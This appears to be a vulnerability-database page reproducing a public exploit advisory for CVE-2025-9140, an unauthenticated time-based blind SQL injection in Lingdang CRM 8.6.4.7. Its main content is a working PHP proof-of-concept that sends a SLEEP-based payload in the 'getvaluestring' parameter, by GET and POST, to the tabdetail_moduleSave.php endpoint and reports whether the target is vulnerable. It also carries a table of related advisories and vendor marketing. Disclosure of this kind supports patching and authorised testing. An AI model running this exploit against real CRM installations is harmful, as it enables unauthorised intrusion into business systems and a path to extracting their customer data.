| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Lingdang CRM SQLๆณจๅ ฅๆผๆด | 19 Aug 202500:00 | โ | cnnvd | |
| Lingdang CRM SQL Injection Vulnerability | 26 Aug 202500:00 | โ | cnvd | |
| CVE-2025-9140 | 19 Aug 202513:32 | โ | cve | |
| CVE-2025-9140 Shanghai Lingdang Information Technology Lingdang CRM tabdetail_moduleSave.php sql injection | 19 Aug 202513:32 | โ | cvelist | |
| Lingdang CRM 8.6.4.7 - SQL Injection | 26 Aug 202500:00 | โ | exploitdb | |
| EUVD-2025-25171 | 3 Oct 202520:07 | โ | euvd | |
| CVE-2025-9140 | 19 Aug 202514:15 | โ | nvd | |
| ๐ Lingdang CRM 8.6.4.7 SQL Injection | 26 Aug 202500:00 | โ | packetstorm | |
| PT-2025-33732 ยท Unknown ยท Lingdang Crm | 19 Aug 202500:00 | โ | ptsecurity | |
| CVE-2025-9140 | 21 Aug 202514:25 | โ | redhatcve |
=============================================================================================================================================
| # Title : Lingdang CRM <= 8.6.4.7 - Time-Based Blind SQL Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : http://www.lingdangcrm.cn/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/208845/ & CVE-2025-9140
[+] Summary : The application fails to properly sanitize user-supplied input passed to the 'getvaluestring' parameter. This allows an unauthenticated
remote attacker to inject arbitrary SQL expressions. Time-based blind payloads using database sleep functions confirm exploitation.
[+] POC: php poc.php 127.0.0.1
<?php
if ($argc !== 2) {
echo "Usage: php {$argv[0]} http://TARGET\n";
exit(1);
}
$base = rtrim($argv[1], '/');
$url = $base . "/crm/crmapi/erp/tabdetail_moduleSave.php";
$payload = "'||(SELECT SLEEP(5))--+-";
function send_request($url, $method, $payload) {
$ch = curl_init();
if ($method === "GET") {
$url .= "?getvaluestring=" . urlencode($payload);
}
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 30,
CURLOPT_CUSTOMREQUEST => $method,
]);
if ($method === "POST") {
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
"getvaluestring" => $payload
]));
}
$start = microtime(true);
curl_exec($ch);
$elapsed = microtime(true) - $start;
$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return [$status, $elapsed];
}
list($statusGet, $timeGet) = send_request($url, "GET", $payload);
echo "[+] GET status={$statusGet} elapsed=" . round($timeGet, 2) . "s\n";
echo ($timeGet >= 5)
? "[+] Likely vulnerable via GET (time delay detected)\n"
: "[-] No significant delay via GET\n";
list($statusPost, $timePost) = send_request($url, "POST", $payload);
echo "[+] POST status={$statusPost} elapsed=" . round($timePost, 2) . "s\n";
echo ($timePost >= 5)
? "[+] Likely vulnerable via POST (time delay detected)\n"
: "[-] No significant delay via POST\n";
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation